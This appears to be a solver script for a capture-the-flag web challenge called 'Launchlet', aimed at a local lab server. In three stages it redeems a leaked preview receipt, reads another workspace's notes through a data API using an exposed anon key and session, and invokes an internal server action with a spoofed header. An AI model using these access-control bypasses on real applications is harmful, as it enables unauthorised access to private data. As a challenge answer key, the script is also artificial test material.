91 lines
2.7 KiB
Python
91 lines
2.7 KiB
Python
#!/usr/bin/env python3
|
|
from __future__ import annotations
|
|
|
|
import argparse
|
|
import json
|
|
from urllib import parse, request
|
|
|
|
|
|
def get_json(base: str, path: str, headers: dict[str, str] | None = None):
|
|
req = request.Request(base + path, headers={"Accept": "application/json", **(headers or {})})
|
|
with request.urlopen(req, timeout=5) as resp:
|
|
return json.loads(resp.read().decode())
|
|
|
|
|
|
def post_json(base: str, path: str, payload: dict, headers: dict[str, str] | None = None):
|
|
body = json.dumps(payload).encode()
|
|
req = request.Request(
|
|
base + path,
|
|
data=body,
|
|
method="POST",
|
|
headers={
|
|
"Accept": "application/json",
|
|
"Content-Type": "application/json",
|
|
**(headers or {}),
|
|
},
|
|
)
|
|
with request.urlopen(req, timeout=5) as resp:
|
|
return json.loads(resp.read().decode())
|
|
|
|
|
|
def solve(base: str) -> list[str]:
|
|
base = base.rstrip("/")
|
|
|
|
bootstrap = get_json(base, "/api/app/bootstrap")
|
|
build_manifest = get_json(base, bootstrap["api"]["buildManifest"])
|
|
stage1 = post_json(
|
|
base,
|
|
build_manifest["receiptRedeemEndpoint"],
|
|
{
|
|
"receipt": build_manifest["previewReceipt"],
|
|
"project": build_manifest["project"],
|
|
},
|
|
)["flag"]
|
|
|
|
internal_query = parse.urlencode(
|
|
{
|
|
"select": "workspace_id,title,body",
|
|
"workspace_id": "eq.ws-launchlet-internal",
|
|
}
|
|
)
|
|
notes = get_json(
|
|
base,
|
|
f"{build_manifest['dataApiBase']}/workspace_notes?{internal_query}",
|
|
headers={
|
|
"apikey": bootstrap["client"]["anonKey"],
|
|
"Authorization": f"Bearer {bootstrap['client']['session']}",
|
|
},
|
|
)
|
|
stage2 = next(body for row in notes for body in [row["body"]] if "caplag{" in body)
|
|
stage2 = stage2[stage2.index("caplag{") : stage2.index("}") + 1]
|
|
|
|
refs = get_json(base, bootstrap["api"]["serverReferences"])
|
|
action = refs["serverActions"]["inspectDeploy"]
|
|
stage3 = post_json(
|
|
base,
|
|
action["endpoint"],
|
|
{
|
|
"actionId": action["id"],
|
|
"args": {
|
|
"workspaceId": "ws-launchlet-internal",
|
|
"projectId": "proj-enterprise-rollout",
|
|
},
|
|
},
|
|
headers={"X-Launchlet-Preview": build_manifest["project"]},
|
|
)["flag"]
|
|
|
|
return [stage1, stage2, stage3]
|
|
|
|
|
|
def main() -> None:
|
|
parser = argparse.ArgumentParser(description="Solve Launchlet web challenge chain.")
|
|
parser.add_argument("url", nargs="?", default="http://127.0.0.1:31380")
|
|
args = parser.parse_args()
|
|
|
|
for flag in solve(args.url):
|
|
print(flag)
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|